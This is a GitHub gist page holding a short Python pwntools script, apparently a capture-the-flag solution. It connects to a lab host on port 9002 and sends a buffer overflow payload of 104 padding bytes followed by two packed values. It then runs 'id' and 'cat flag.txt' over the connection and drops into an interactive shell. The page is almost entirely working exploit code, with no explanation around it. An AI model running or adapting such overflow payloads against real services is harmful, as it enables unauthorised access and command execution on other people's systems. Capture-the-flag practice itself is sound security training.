Skip to content

Instantly share code, notes, and snippets.

@7h3h4ckv157
Created May 9, 2022 16:31
Show Gist options
  • Save 7h3h4ckv157/afdb159e9e6b0aeb9d4b9212a1d79fcf to your computer and use it in GitHub Desktop.
Save 7h3h4ckv157/afdb159e9e6b0aeb9d4b9212a1d79fcf to your computer and use it in GitHub Desktop.
from pwn import *
connect = remote('10.10.205.35', '9002')
payload = b"A"*104 + p32(0xc0d3) + p32(0xc0ff33)
connect.recv()
connect.sendline(payload)
connect.sendline('id');connect.sendline('cat flag.txt')
connect.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment